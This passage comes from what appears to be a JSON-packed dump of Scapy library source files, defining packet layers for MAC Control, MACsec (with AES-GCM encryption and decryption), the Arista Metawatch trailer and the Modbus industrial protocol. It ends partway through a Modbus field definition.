BitField('c2_enabled', 0, 1),\n        BitField('c1_enabled', 0, 1),\n        BitField('c0_enabled', 0, 1),\n        ShortField('c0_pause_time', 0),\n        ShortField('c1_pause_time', 0),\n        ShortField('c2_pause_time', 0),\n        ShortField('c3_pause_time', 0),\n        ShortField('c4_pause_time', 0),\n        ShortField('c5_pause_time', 0),\n        ShortField('c6_pause_time', 0),\n        ShortField('c7_pause_time', 0)\n    ]\n\n\nMAC_CTRL_CLASSES = {\n    MACControl.OP_CODE_PAUSE: MACControlPause,\n    MACControl.OP_CODE_GATE: MACControlGate,\n    MACControl.OP_CODE_REPORT: MACControlReport,\n    MACControl.OP_CODE_REGISTER_REQ: MACControlRegisterReq,\n    MACControl.OP_CODE_REGISTER: MACControlRegister,\n    MACControl.OP_CODE_REGISTER_ACK: MACControlRegisterAck,\n    MACControl.OP_CODE_CLASS_BASED_FLOW_CONTROL: MACControlClassBasedFlowControl  # noqa: E501\n}\n\nbind_layers(Ether, MACControl, type=MAC_CONTROL_ETHER_TYPE)\nbind_layers(Dot1Q, MACControl, type=MAC_CONTROL_ETHER_TYPE)\n"
  },
  {
    "path": "scapy/contrib/macsec.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Sabrina Dubroca <sd@queasysnail.net>\n\n# scapy.contrib.description = 802.1AE - IEEE MAC Security standard (MACsec)\n# scapy.contrib.status = loads\n\n\"\"\"\nClasses and functions for MACsec.\n\"\"\"\n\nimport struct\nimport copy\n\nfrom scapy.config import conf\nfrom scapy.fields import BitField, ConditionalField, IntField, PacketField, \\\n    XShortEnumField\nfrom scapy.packet import Packet, Raw, bind_layers\nfrom scapy.layers.l2 import Ether, Dot1AD, Dot1Q\nfrom scapy.layers.eap import MACsecSCI\nfrom scapy.layers.inet import IP\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.compat import raw\nfrom scapy.data import ETH_P_MACSEC, ETHER_TYPES, ETH_P_IP, ETH_P_IPV6\nfrom scapy.error import log_loading\n\nif conf.crypto_valid:\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives.ciphers import (\n        Cipher,\n        algorithms,\n        modes,\n    )\nelse:\n    log_loading.info(\"Can't import python-cryptography v2.0+. \"\n                     \"Disabled MACsec encryption/authentication.\")\n\n\nNOSCI_LEN = 14 + 6\nSCI_LEN = 8\nDEFAULT_ICV_LEN = 16\n\n\nclass MACsecSA(object):\n    \"\"\"Representation of a MACsec Secure Association\n\n    Provides encapsulation, decapsulation, encryption, and decryption\n    of MACsec frames\n    \"\"\"\n    def __init__(self, sci, an, pn, key, icvlen, encrypt, send_sci, xpn_en=False, ssci=None, salt=None):  # noqa: E501\n        if isinstance(sci, int):\n            self.sci = struct.pack('!Q', sci)\n        elif isinstance(sci, bytes):\n            self.sci = sci\n        else:\n            raise TypeError(\"SCI must be either bytes or int\")\n        self.an = an\n        self.pn = pn\n        self.key = key\n        self.icvlen = icvlen\n        self.do_encrypt = encrypt\n        self.send_sci = send_sci\n        self.xpn_en = xpn_en\n        if self.xpn_en:\n            # Get SSCI (32 bits)\n            if isinstance(ssci, int):\n                self.ssci = struct.pack('!L', ssci)\n            elif isinstance(ssci, bytes):\n                self.ssci = ssci\n            else:\n                raise TypeError(\"SSCI must be either bytes or int\")\n            # Get Salt (96 bits, only bytes allowed)\n            if isinstance(salt, bytes):\n                self.salt = salt\n            else:\n                raise TypeError(\"Salt must be bytes\")\n\n    def make_iv(self, pkt):\n        \"\"\"generate an IV for the packet\"\"\"\n        if self.xpn_en:\n            tmp_pn = (self.pn & 0xFFFFFFFF00000000) | (pkt[MACsec].PN & 0xFFFFFFFF)  # noqa: E501\n            tmp_iv = self.ssci + struct.pack('!Q', tmp_pn)\n            return bytes(bytearray([a ^ b for a, b in zip(bytearray(tmp_iv), bytearray(self.salt))]))  # noqa: E501\n        else:\n            return self.sci + struct.pack('!I', pkt[MACsec].PN)\n\n    @staticmethod\n    def split_pkt(pkt, assoclen, icvlen=0):\n        \"\"\"\n        split the packet into associated data, plaintext or ciphertext, and\n        optional ICV\n        \"\"\"\n        data = raw(pkt)\n        assoc = data[:assoclen]\n        if icvlen:\n            icv = data[-icvlen:]\n            enc = data[assoclen:-icvlen]\n        else:\n            icv = b''\n            enc = data[assoclen:]\n        return assoc, enc, icv\n\n    def e_bit(self):\n        \"\"\"returns the value of the E bit for packets sent through this SA\"\"\"\n        return self.do_encrypt\n\n    def c_bit(self):\n        \"\"\"returns the value of the C bit for packets sent through this SA\"\"\"\n        return self.do_encrypt or self.icvlen != DEFAULT_ICV_LEN\n\n    @staticmethod\n    def shortlen(pkt):\n        \"\"\"determine shortlen for a raw packet (not encapsulated yet)\"\"\"\n        datalen = len(pkt) - 2 * 6\n        if datalen < 48:\n            return datalen\n        return 0\n\n    def encap(self, pkt):\n        \"\"\"encapsulate a frame using this Secure Association\"\"\"\n        if pkt.name != Ether().name:\n            raise TypeError('cannot encapsulate packet in MACsec, must be Ethernet')  # noqa: E501\n        hdr = copy.deepcopy(pkt)\n        payload = hdr.payload\n        del hdr.payload\n        tag = MACsec(SCI=self.sci, AN=self.an,\n                     SC=self.send_sci,\n                     E=self.e_bit(), C=self.c_bit(),\n                     SL=MACsecSA.shortlen(pkt),\n                     PN=(self.pn & 0xFFFFFFFF), type=pkt.type)\n        hdr.type = ETH_P_MACSEC\n        return hdr / tag / payload\n\n    # this doesn't really need to be a method, but for symmetry with\n    # encap(), it is\n    def decap(self, orig_pkt):\n        \"\"\"decapsulate a MACsec frame\"\"\"\n        if not isinstance(orig_pkt, Ether) or \\\n                not isinstance(orig_pkt.payload, MACsec):\n            raise TypeError(\n                'cannot decapsulate MACsec packet, must be Ethernet/MACsec'\n            )\n        packet = copy.deepcopy(orig_pkt)\n        prev_layer = packet[MACsec].underlayer\n        prev_layer.type = packet[MACsec].type\n        next_layer = packet[MACsec].payload\n        del prev_layer.payload\n        if prev_layer.name == Ether().name:\n            return Ether(raw(prev_layer / next_layer))\n        return prev_layer / next_layer\n\n    def encrypt(self, orig_pkt, assoclen=None):\n        \"\"\"encrypt a MACsec frame for this Secure Association\"\"\"\n        hdr = copy.deepcopy(orig_pkt)\n        del hdr[MACsec].payload\n        del hdr[MACsec].type\n        pktlen = len(orig_pkt)\n        if self.send_sci:\n            hdrlen = NOSCI_LEN + SCI_LEN\n        else:\n            hdrlen = NOSCI_LEN\n        if assoclen is None or not self.do_encrypt:\n            if self.do_encrypt:\n                assoclen = hdrlen\n            else:\n                assoclen = pktlen\n        iv = self.make_iv(orig_pkt)\n        assoc, pt, _ = MACsecSA.split_pkt(orig_pkt, assoclen)\n        encryptor = Cipher(\n            algorithms.AES(self.key),\n            modes.GCM(iv),\n            backend=default_backend()\n        ).encryptor()\n        encryptor.authenticate_additional_data(assoc)\n        ct = encryptor.update(pt) + encryptor.finalize()\n        hdr[MACsec].payload = Raw(assoc[hdrlen:assoclen] + ct + encryptor.tag)\n        return hdr\n\n    def decrypt(self, orig_pkt, assoclen=None):\n        \"\"\"decrypt a MACsec frame for this Secure Association\"\"\"\n        hdr = copy.deepcopy(orig_pkt)\n        del hdr[MACsec].payload\n        pktlen = len(orig_pkt)\n        if self.send_sci:\n            hdrlen = NOSCI_LEN + SCI_LEN\n        else:\n            hdrlen = NOSCI_LEN\n        if assoclen is None or not self.do_encrypt:\n            if self.do_encrypt:\n                assoclen = hdrlen\n            else:\n                assoclen = pktlen - self.icvlen\n        iv = self.make_iv(hdr)\n        assoc, ct, icv = MACsecSA.split_pkt(orig_pkt, assoclen, self.icvlen)\n        decryptor = Cipher(\n            algorithms.AES(self.key),\n            modes.GCM(iv, icv),\n            backend=default_backend()\n        ).decryptor()\n        decryptor.authenticate_additional_data(assoc)\n        pt = assoc[hdrlen:assoclen]\n        pt += decryptor.update(ct)\n        pt += decryptor.finalize()\n        hdr[MACsec].type = struct.unpack('!H', pt[0:2])[0]\n        hdr[MACsec].payload = Raw(pt[2:])\n        return hdr\n\n\nclass MACsec(Packet):\n    \"\"\"representation of one MACsec frame\"\"\"\n    name = '802.1AE'\n    deprecated_fields = {\n        'an': (\"AN\", \"2.4.4\"),\n        'pn': (\"PN\", \"2.4.4\"),\n        'sci': (\"SCI\", \"2.4.4\"),\n        'shortlen': (\"SL\", \"2.4.4\"),\n    }\n    # 802.1AE-2018 - Section 9\n    fields_desc = [\n        # 802.1AE-2018 - Section 9.5\n        BitField('Ver', 0, 1),\n        BitField('ES', 0, 1),  # End Station\n        BitField('SC', 0, 1),  # Secure Channel\n        BitField('SCB', 0, 1),  # Single Copy Broadcast\n        BitField('E', 0, 1),  # Encryption\n        BitField('C', 0, 1),  # Changed Text\n        BitField('AN', 0, 2),  # Association Number\n        # 802.1AE-2018 - Section 9.7\n        BitField('reserved', 0, 2),\n        BitField('SL', 0, 6),  # Short Length\n        # 802.1AE-2018 - Section 9.8\n        IntField(\"PN\", 1),  # Packet Number\n        # 802.1AE-2018 - Section 9.9\n        ConditionalField(\n            PacketField(\"SCI\", None, MACsecSCI),\n            lambda pkt: pkt.SC\n        ),\n        # Off-spec. Used for conveniency (only present if passed manually)\n        ConditionalField(XShortEnumField(\"type\", None, ETHER_TYPES),\n                         lambda pkt: \"type\" in pkt.fields)]\n\n    def mysummary(self):\n        summary = self.sprintf(\"AN=%MACsec.AN%, PN=%MACsec.PN%\")\n        if self.SC:\n            summary += self.sprintf(\", SCI=%MACsec.SCI%\")\n        if self.type is not None:\n            summary += self.sprintf(\", %MACsec.type%\")\n        return summary\n\n\nbind_layers(MACsec, IP, type=ETH_P_IP)\nbind_layers(MACsec, IPv6, type=ETH_P_IPV6)\n\nbind_layers(Dot1AD, MACsec, type=ETH_P_MACSEC)\nbind_layers(Dot1Q, MACsec, type=ETH_P_MACSEC)\nbind_layers(Ether, MACsec, type=ETH_P_MACSEC)\n"
  },
  {
    "path": "scapy/contrib/metawatch.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# Copyright (C) 2019 Brandon Ewing <brandon.ewing@warningg.com>\n#               2019 Guillaume Valadon <guillaume.valadon@netatmo.com>\n\n# scapy.contrib.description = Arista Metawatch\n# scapy.contrib.status = loads\n\nfrom scapy.layers.l2 import Ether\nfrom scapy.fields import (\n    ByteField,\n    ShortField,\n    FlagsField,\n    SecondsIntField,\n    TrailerField,\n    UTCTimeField,\n)\n\n\nclass MetawatchEther(Ether):\n    name = \"Ethernet (with MetaWatch trailer)\"\n    match_subclass = True\n    fields_desc = Ether.fields_desc + [\n        TrailerField(ByteField(\"metamako_portid\", None)),\n        TrailerField(ShortField(\"metamako_devid\", None)),\n        TrailerField(FlagsField(\"metamako_flags\", 0x0, 8, \"VX______\")),\n        TrailerField(SecondsIntField(\"metamako_nanos\", 0, use_nano=True)),\n        TrailerField(UTCTimeField(\"metamako_seconds\", 0)),\n        # TODO: Add TLV support\n    ]\n"
  },
  {
    "path": "scapy/contrib/modbus.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2017 Arthur Gervais\n#                    Ken LE PRADO,\n#                    Sebastien Mainand\n#                    Thomas Aurel\n\n# scapy.contrib.description = ModBus Protocol\n# scapy.contrib.status = loads\n\n\nimport struct\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import XByteField, XShortField, StrLenField, ByteEnumField, \\\n    BitFieldLenField, ByteField, ConditionalField, EnumField, FieldListField, \\\n    ShortField, StrFixedLenField, XShortEnumField\nfrom scapy.layers.inet import TCP\nfrom scapy.utils import orb\nfrom scapy.config import conf\nfrom scapy.volatile import VolatileValue\n\n\n_modbus_exceptions = {1: \"Illegal Function Code\",\n                      2: \"Illegal Data Address\",\n                      3: \"Illegal Data Value\",\n                      4: \"Server Device Failure\",\n                      5: \"Acknowledge\",\n                      6: \"Server Device Busy\",\n                      8: \"Memory Parity Error\",\n                      10: \"Gateway Path Unavailable\",\n                      11: \"Gateway Target Device Failed to Respond\"}\n\n\nclass _ModbusPDUNoPayload(Packet):\n\n    def extract_padding(self, s):\n        return b\"\", None\n\n\nclass ModbusPDU01ReadCoilsRequest(_ModbusPDUNoPayload):\n    name = \"Read Coils Request\"\n    fields_desc = [XByteField(\"funcCode\", 0x01),\n                   XShortField(\"startAddr\", 0x0000),  # 0x0000 to 0xFFFF\n                   XShortField(\"quantity\", 0x0001)]\n\n\nclass ModbusPDU01ReadCoilsResponse(_ModbusPDUNoPayload):\n    name = \"Read Coils Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x01),\n                   BitFieldLenField(\"byteCount\", None, 8,\n                                    count_of=\"coilStatus\"),\n                   FieldListField(\"coilStatus\", [0x00], ByteField(\"\", 0x00),\n                                  count_from=lambda pkt: pkt.byteCount)]\n\n\nclass ModbusPDU01ReadCoilsError(_ModbusPDUNoPayload):\n    name = \"Read Coils Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x81),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU02ReadDiscreteInputsRequest(_ModbusPDUNoPayload):\n    name = \"Read Discrete Inputs\"\n    fields_desc = [XByteField(\"funcCode\", 0x02),\n                   XShortField(\"startAddr\", 0x0000),\n                   XShortField(\"quantity\", 0x0001)]\n\n\nclass ModbusPDU02ReadDiscreteInputsResponse(Packet):\n    \"\"\" inputStatus: result is represented as bytes, padded with 0 to have a\n        integer number of bytes. The field does not parse this result and\n        present the bytes directly\n    \"\"\"\n    name = \"Read Discrete Inputs Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x02),\n                   BitFieldLenField(\"byteCount\", None, 8,\n                                    count_of=\"inputStatus\"),\n                   FieldListField(\"inputStatus\", [0x00], ByteField(\"\", 0x00),\n                                  count_from=lambda pkt: pkt.byteCount)]\n\n\nclass ModbusPDU02ReadDiscreteInputsError(Packet):\n    name = \"Read Discrete Inputs Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x82),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU03ReadHoldingRegistersRequest(_ModbusPDUNoPayload):\n    name = \"Read Holding Registers\"\n    fields_desc = [XByteField(\"funcCode\", 0x03),\n                   XShortField(\"startAddr\", 0x0000),\n                   XShortField(\"quantity\", 0x0001)]\n\n\nclass ModbusPDU03ReadHoldingRegistersResponse(Packet):\n    name = \"Read Holding Registers Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x03),\n                   BitFieldLenField(\"byteCount\", None, 8,\n                                    count_of=\"registerVal\",\n                                    adjust=lambda pkt, x: x * 2),\n                   FieldListField(\"registerVal\", [0x0000],\n                                  ShortField(\"\", 0x0000),\n                                  count_from=lambda pkt: pkt.byteCount,\n                                  max_count=123)]\n\n\nclass ModbusPDU03ReadHoldingRegistersError(Packet):\n    name = \"Read Holding Registers Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x83),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU04ReadInputRegistersRequest(_ModbusPDUNoPayload):\n    name = \"Read Input Registers\"\n    fields_desc = [XByteField(\"funcCode\", 0x04),\n                   XShortField(\"startAddr\", 0x0000),\n                   XShortField(\"quantity\", 0x0001)]\n\n\nclass ModbusPDU04ReadInputRegistersResponse(Packet):\n    name = \"Read Input Registers Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x04),\n                   BitFieldLenField(\"byteCount\", None, 8,\n                                    count_of=\"registerVal\",\n                                    adjust=lambda pkt, x: x * 2),\n                   FieldListField(\"registerVal\", [0x0000],\n                                  ShortField(\"\", 0x0000),\n                                  count_from=lambda pkt: pkt.byteCount)]\n\n\nclass ModbusPDU04ReadInputRegistersError(Packet):\n    name = \"Read Input Registers Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x84),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU05WriteSingleCoilRequest(Packet):\n    name = \"Write Single Coil\"\n    fields_desc = [XByteField(\"funcCode\", 0x05),\n                   # from 0x0000 to 0xFFFF\n                   XShortField(\"outputAddr\", 0x0000),\n                   # 0x0000: Off, 0xFF00: On\n                   XShortField(\"outputValue\", 0x0000)]\n\n\nclass ModbusPDU05WriteSingleCoilResponse(Packet):\n    # The answer is the same as the request if successful\n    name = \"Write Single Coil\"\n    fields_desc = [XByteField(\"funcCode\", 0x05),\n                   # from 0x0000 to 0xFFFF\n                   XShortField(\"outputAddr\", 0x0000),\n                   # 0x0000 == Off, 0xFF00 == On\n                   XShortField(\"outputValue\", 0x0000)]\n\n\nclass ModbusPDU05WriteSingleCoilError(Packet):\n    name = \"Write Single Coil Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x85),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU06WriteSingleRegisterRequest(_ModbusPDUNoPayload):\n    name = \"Write Single Register\"\n    fields_desc = [XByteField(\"funcCode\", 0x06),\n                   XShortField(\"registerAddr\", 0x0000),\n                   XShortField(\"registerValue\", 0x0000)]\n\n\nclass ModbusPDU06WriteSingleRegisterResponse(Packet):\n    name = \"Write Single Register Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x06),\n                   XShortField(\"registerAddr\", 0x0000),\n                   XShortField(\"registerValue\", 0x0000)]\n\n\nclass ModbusPDU06WriteSingleRegisterError(Packet):\n    name = \"Write Single Register Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x86),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU07ReadExceptionStatusRequest(_ModbusPDUNoPayload):\n    name = \"Read Exception Status\"\n    fields_desc = [XByteField(\"funcCode\", 0x07)]\n\n\nclass ModbusPDU07ReadExceptionStatusResponse(Packet):\n    name = \"Read Exception Status Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x07),\n                   XByteField(\"startAddr\", 0x00)]\n\n\nclass ModbusPDU07ReadExceptionStatusError(Packet):\n    name = \"Read Exception Status Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x87),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\n_diagnostics_sub_function = {\n    0x0000: \"Return Query Data\",\n    0x0001: \"Restart Communications Option\",\n    0x0002: \"Return Diagnostic Register\",\n    0x0003: \"Change ASCII Input Delimiter\",\n    0x0004: \"Force Listen Only Mode\",\n    0x000A: \"Clear Counters and Diagnostic Register\",\n    0x000B: \"Return Bus Message Count\",\n    0x000C: \"Return Bus Communication Error Count\",\n    0x000D: \"Return Bus Exception Error Count\",\n    0x000E: \"Return Slave Message Count\",\n    0x000F: \"Return Slave No Response Count\",\n    0x0010: \"Return Slave NAK Count\",\n    0x0011: \"Return Slave Busy Count\",\n    0x0012: \"Return Bus Character Overrun Count\",\n    0x0014: \"Clear Overrun Counter and Flag\"\n}\n\n\nclass ModbusPDU08DiagnosticsRequest(_ModbusPDUNoPayload):\n    name = \"Diagnostics\"\n    fields_desc = [XByteField(\"funcCode\", 0x08),\n                   XShortEnumField(\"subFunc\", 0x0000,\n                                   _diagnostics_sub_function),\n                   FieldListField(\"data\", [0x0000], XShortField(\"\", 0x0000))]\n\n\nclass ModbusPDU08DiagnosticsResponse(_ModbusPDUNoPayload):\n    name = \"Diagnostics Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x08),\n                   XShortEnumField(\"subFunc\", 0x0000,\n                                   _diagnostics_sub_function),\n                   FieldListField(\"data\", [0x0000], XShortField(\"\", 0x0000))]\n\n\nclass ModbusPDU08DiagnosticsError(_ModbusPDUNoPayload):\n    name = \"Diagnostics Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x88),\n                   ByteEnumField(\"exceptionCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU0BGetCommEventCounterRequest(_ModbusPDUNoPayload):\n    name = \"Get Comm Event Counter\"\n    fields_desc = [XByteField(\"funcCode\", 0x0B)]\n\n\nclass ModbusPDU0BGetCommEventCounterResponse(_ModbusPDUNoPayload):\n    name = \"Get Comm Event Counter Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x0B),\n                   XShortField(\"status\", 0x0000),\n                   XShortField(\"eventCount\", 0xFFFF)]\n\n\nclass ModbusPDU0BGetCommEventCounterError(_ModbusPDUNoPayload):\n    name = \"Get Comm Event Counter Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x8B),\n                   ByteEnumField(\"exceptionCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU0CGetCommEventLogRequest(_ModbusPDUNoPayload):\n    name = \"Get Comm Event Log\"\n    fields_desc = [XByteField(\"funcCode\", 0x0C)]\n\n\nclass ModbusPDU0CGetCommEventLogResponse(_ModbusPDUNoPayload):\n    name = \"Get Comm Event Log Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x0C),\n                   ByteField(\"byteCount\", 8),\n                   XShortField(\"status\", 0x0000),\n                   XShortField(\"eventCount\", 0x0108),\n                   XShortField(\"messageCount\", 0x0121),\n                   FieldListField(\"event\", [0x20, 0x00], XByteField(\"\", 0x00))]\n\n\nclass ModbusPDU0CGetCommEventLogError(_ModbusPDUNoPayload):\n    name = \"Get Comm Event Log Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x8C),\n                   XByteField(\"exceptionCode\", 1)]\n\n\nclass ModbusPDU0FWriteMultipleCoilsRequest(Packet):\n    name = \"Write Multiple Coils\"\n    fields_desc = [XByteField(\"funcCode\", 0x0F),\n                   XShortField(\"startAddr\", 0x0000),\n                   XShortField(\"quantityOutput\", 0x0001),\n                   BitFieldLenField(\"byteCount\", None, 8,\n                                    count_of=\"outputsValue\"),\n                   FieldListField(\"outputsValue\", [0x00], XByteField(\"\", 0x00),\n                                  count_from=lambda pkt: pkt.byteCount)]\n\n\nclass ModbusPDU0FWriteMultipleCoilsResponse(Packet):\n    name = \"Write Multiple Coils Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x0F),\n                   XShortField(\"startAddr\", 0x0000),\n                   XShortField(\"quantityOutput\", 0x0001)]\n\n\nclass ModbusPDU0FWriteMultipleCoilsError(Packet):\n    name = \"Write Multiple Coils Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x8F),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU10WriteMultipleRegistersRequest(Packet):\n    name = \"Write Multiple Registers\"\n    fields_desc = [XByteField(\"funcCode\", 0x10),\n                   XShortField(\"startAddr\", 0x0000),\n                   BitFieldLenField(\"quantityRegisters\", None, 16,\n                                    count_of=\"outputsValue\"),\n                   BitFieldLenField(\"byteCount\", None, 8,\n                                    count_of=\"outputsValue\",\n                                    adjust=lambda pkt, x: x * 2),\n                   FieldListField(\"outputsValue\", [0x0000],\n                                  XShortField(\"\", 0x0000),\n                                  count_from=lambda pkt: pkt.byteCount)]\n\n\nclass ModbusPDU10WriteMultipleRegistersResponse(Packet):\n    name = \"Write Multiple Registers Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x10),\n                   XShortField(\"startAddr\", 0x0000),\n                   XShortField(\"quantityRegisters\", 0x0001)]\n\n\nclass ModbusPDU10WriteMultipleRegistersError(Packet):\n    name = \"Write Multiple Registers Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x90),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU11ReportSlaveIdRequest(_ModbusPDUNoPayload):\n    name = \"Report Slave Id\"\n    fields_desc = [XByteField(\"funcCode\", 0x11)]\n\n\nclass ModbusPDU11ReportSlaveIdResponse(Packet):\n    name = \"Report Slave Id Response\"\n    fields_desc = [\n        XByteField(\"funcCode\", 0x11),\n        BitFieldLenField(\"byteCount\", None, 8, length_of=\"slaveId\"),\n        ConditionalField(StrLenField(\"slaveId\", \"\",\n                                     length_from=lambda pkt: pkt.byteCount),\n                         lambda pkt: pkt.byteCount > 0),\n        ConditionalField(XByteField(\"runIdicatorStatus\", 0x00),\n                         lambda pkt: pkt.byteCount > 0),\n    ]\n\n\nclass ModbusPDU11ReportSlaveIdError(Packet):\n    name = \"Report Slave Id Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x91),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusReadFileSubRequest(Packet):\n    name = \"Sub-request of Read File Record\"\n    fields_desc = [ByteField(\"refType\", 0x06),\n                   ShortField(\"fileNumber\", 0x0001),\n                   ShortField(\"recordNumber\", 0x0000),\n                   ShortField(\"recordLength\", 0x0001)]\n\n    def guess_payload_class(self, payload):\n        return ModbusReadFileSubRequest\n\n\nclass ModbusPDU14ReadFileRecordRequest(Packet):\n    name = \"Read File Record\"\n    fields_desc = [XByteField(\"funcCode\", 0x14),\n                   ByteField(\"byteCount\", None)]\n\n    def guess_payload_class(self, payload):\n        if self.byteCount > 0:\n            return ModbusReadFileSubRequest\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n    def post_build(self, p, pay):\n        if self.byteCount is None:\n            tmp_len = len(pay)\n            p = p[:1] + struct.pack(\"!B\", tmp_len) + p[3:]\n        return p + pay\n\n\nclass ModbusReadFileSubResponse(Packet):\n    name = \"Sub-response\"\n    fields_desc = [\n        BitFieldLenField(\"respLength\", None, 8, count_of=\"recData\",\n                         adjust=lambda pkt, p: p * 2 + 1),\n        ByteField(\"refType\", 0x06),\n        FieldListField(\"recData\", [0x0000], XShortField(\"\", 0x0000),\n                       count_from=lambda pkt: (pkt.respLength - 1) // 2),\n    ]\n\n    def guess_payload_class(self, payload):\n        return ModbusReadFileSubResponse\n\n\nclass ModbusPDU14ReadFileRecordResponse(Packet):\n    name = \"Read File Record Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x14),\n                   ByteField(\"dataLength\", None)]\n\n    def post_build(self, p, pay):\n        if self.dataLength is None:\n            tmp_len = len(pay)\n            p = p[:1] + struct.pack(\"!B\", tmp_len) + p[3:]\n        return p + pay\n\n    def guess_payload_class(self, payload):\n        if self.dataLength > 0:\n            return ModbusReadFileSubResponse\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass ModbusPDU14ReadFileRecordError(Packet):\n    name = \"Read File Record Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x94),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\n# 0x15 : Write File Record\nclass ModbusWriteFileSubRequest(Packet):\n    name = \"Sub request of Write File Record\"\n    fields_desc = [\n        ByteField(\"refType\", 0x06),\n        ShortField(\"fileNumber\", 0x0001),\n        ShortField(\"recordNumber\", 0x0000),\n        BitFieldLenField(\"recordLength\", None, 16,\n                         length_of=\"recordData\",\n                         adjust=lambda pkt, p: p // 2),\n        FieldListField(\"recordData\", [0x0000],\n                       ShortField(\"\", 0x0000),\n                       length_from=lambda pkt: pkt.recordLength * 2),\n    ]\n\n    def guess_payload_class(self, payload):\n        if payload:\n            return ModbusWriteFileSubRequest\n\n\nclass ModbusPDU15WriteFileRecordRequest(Packet):\n    name = \"Write File Record\"\n    fields_desc = [XByteField(\"funcCode\", 0x15),\n                   ByteField(\"dataLength\", None)]\n\n    def post_build(self, p, pay):\n        if self.dataLength is None:\n            tmp_len = len(pay)\n            p = p[:1] + struct.pack(\"!B\", tmp_len) + p[3:]\n            return p + pay\n\n    def guess_payload_class(self, payload):\n        if self.dataLength > 0:\n            return ModbusWriteFileSubRequest\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass ModbusWriteFileSubResponse(ModbusWriteFileSubRequest):\n    name = \"Sub response of Write File Record\"\n\n    def guess_payload_class(self, payload):\n        if payload:\n            return ModbusWriteFileSubResponse\n\n\nclass ModbusPDU15WriteFileRecordResponse(ModbusPDU15WriteFileRecordRequest):\n    name = \"Write File Record Response\"\n\n    def guess_payload_class(self, payload):\n        if self.dataLength > 0:\n            return ModbusWriteFileSubResponse\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass ModbusPDU15WriteFileRecordError(Packet):\n    name = \"Write File Record Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x95),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU16MaskWriteRegisterRequest(Packet):\n    # and/or to 0xFFFF/0x0000 so that nothing is changed in memory\n    name = \"Mask Write Register\"\n    fields_desc = [XByteField(\"funcCode\", 0x16),\n                   XShortField(\"refAddr\", 0x0000),\n                   XShortField(\"andMask\", 0xffff),\n                   XShortField(\"orMask\", 0x0000)]\n\n\nclass ModbusPDU16MaskWriteRegisterResponse(Packet):\n    name = \"Mask Write Register Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x16),\n                   XShortField(\"refAddr\", 0x0000),\n                   XShortField(\"andMask\", 0xffff),\n                   XShortField(\"orMask\", 0x0000)]\n\n\nclass ModbusPDU16MaskWriteRegisterError(Packet):\n    name = \"Mask Write Register Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x96),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU17ReadWriteMultipleRegistersRequest(Packet):\n    name = \"Read Write Multiple Registers\"\n    fields_desc = [XByteField(\"funcCode\", 0x17),\n                   XShortField(\"readStartingAddr\", 0x0000),\n                   XShortField(\"readQuantityRegisters\", 0x0001),\n                   XShortField(\"writeStartingAddr\", 0x0000),\n                   BitFieldLenField(\"writeQuantityRegisters\", None, 16,\n                                    count_of=\"writeRegistersValue\"),\n                   BitFieldLenField(\"byteCount\", None, 8,\n                                    count_of=\"writeRegistersValue\",\n                                    adjust=lambda pkt, x: x * 